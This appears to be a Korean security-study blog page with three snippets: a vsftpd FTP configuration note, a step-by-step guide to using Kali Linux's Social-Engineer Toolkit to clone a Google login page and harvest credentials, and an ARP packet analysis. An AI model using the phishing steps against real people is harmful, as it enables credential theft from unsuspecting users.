- etc/vsftpd.conf 설정
  local_enable=yes  (로컬 사용자의 접속 허용 여부)
  write_enable=yes (로컬 계정 사용자가 write 허용 여부)
  local_umask=022 (로컬 계정 사용자용 umask)
- /etc/init.d/vsftpd restart
- 원격에서 접속

Continue reading

칼리리눅스를 이용한 사회공학 공격

# setoolkit

1. 도메인 피싱


실행하게 되면 위와 같이 뜨고 1번을 선택한다.

- website Attack Vectors 를 선택한다.
- Credential harvester attack method 를 선택한다



- web templates 를 선택한다. 웹 템플릿 항목은 set에 내장되어 있는 구글 페이지를 사용하는 것이다. site cloner는 특정 사이트를 지정하여 해당 페이지를 복제하여 공격할 때 사용한다.
- kali linux 의 IP를 입력한다.  (인터넷망으로 연결해야함)
- google 선택

** 만약 에러가 발생하면, /usr/share/set/src/webattack/harvester/harvester.py 를 수정해야 한다. detect openssl 부분 아래 내용을 모두 주석처리 한다.

- 브라우저에서 칼리 ip를 입력하면 구글 로그인 창이 뜬다.


해당 웹 브라우저에서  ID/PW를 치면 계정정보가 그대로 노출된다.


2. 유사 도메인 공격

- SET 를 이용한 도메인 공격 (GOOGLE과 똑같은 사이트를 만들고 로그인을 유도)
- 클라이언트 사이드 공격 (웹사이트에서 악성 파일(트로이목마 등)을 다운로드 하게하여 실행하게 하거나 웹 사이트에 접속 했을때 바로 자바나 브라우저 공격을 시도 하는 것)
- 웹 사이트가 뿐 아니라 페이크 smtp 메일 서버 ssh , ftp 등 다른 서비스를 통해 로그인 정보 탈취





Continue reading

2018. 8. 3.

ARP 패킷 분석

# ARP 패킷 분석

ARP 패킷은 LAN에서 통신을 하기 위해 IP주소(L3) 를 MAC(L2) 로 변환하기 위해 각 장치 간에 주고 받는 패킷이다. 따라서 특정 IP 의 mac 주소가 알고 싶을 때 이 arp request, arp reply 를 통하여 mac 주소를 확인 할 수 있다.
그러면 어떻때 ARP 프로토콜을 사용하는가.



(출처 https://m.blog.naver.com/PostView.nhn?blogId=pomm88&logNo=150142212019&proxyReferer=https%3A%2F%2Fwww.google.co.kr%2F)

내부 통신을 할때에는 2계층의 스위치를 사용하는데 이 스위치가 모든 통신의 중계자 역할을 한다. 스위치는 MAC 주소로 각 컴퓨터들을 인지한다. 모든 스위치는 ARP 테이블이란 것이 존재하는데 형태는 아래와 같이 ip와 mac 주소의 매칭 형태로 관리된다.



1. arp 필터링 후 첫번째 패킷 (ARP 요청 브로드캐스트 패킷)



첫번째 패킷은 10.10.10.7 IP를 가진 컴퓨터가 10.10.10.1 를 가진 컴퓨터의 MAC 주소를 알아보기 위해 해당 LAN 상에 브로드캐스트 한 것이다.
"10.10.10.1 이랑 통신하고 싶은데 걔가 누구인가요?" 라고 말하는 것이다. 그러면 스위치는 내부의 모든 컴퓨터에게 이 요청을 뿌리고 LAN 상의 모든 장치는 ARP 패킷을 받고 해당되는 IP주소를 가진 장치는 MAC 주소를 담은 응답 패킷을 생성하여 요청한 장치에게 전송한다.


2. arp 필터링 후 두번째 패킷(arp 응답 유니캐스트 패킷)

두번째 패킷은 유니캐스트로서 arp request에 대한 응답 패킷이다. [ethernet 2] - [source] 항목을 보면 10.10.10.1의 mac 주소를 확인 할 수 있다.



"내가 10.10.10.1 입니다. " 라고 말하면서 스위치에게 자신의 mac 주소를 알려주고 스위치를 통해 나에게 까지 전달이 되는 것이다.

다시 위 패킷을 정리하면 10.10.10.7 이 "누가 10.10.10.1 인가요?" 라고 요청하고 10.10.10.1이 "나에요. 내 mac 주소는 00:90:fb:46:0d:2b 입니다"


Continue reading

Popular Posts

Recent Posts

Powered by Blogger.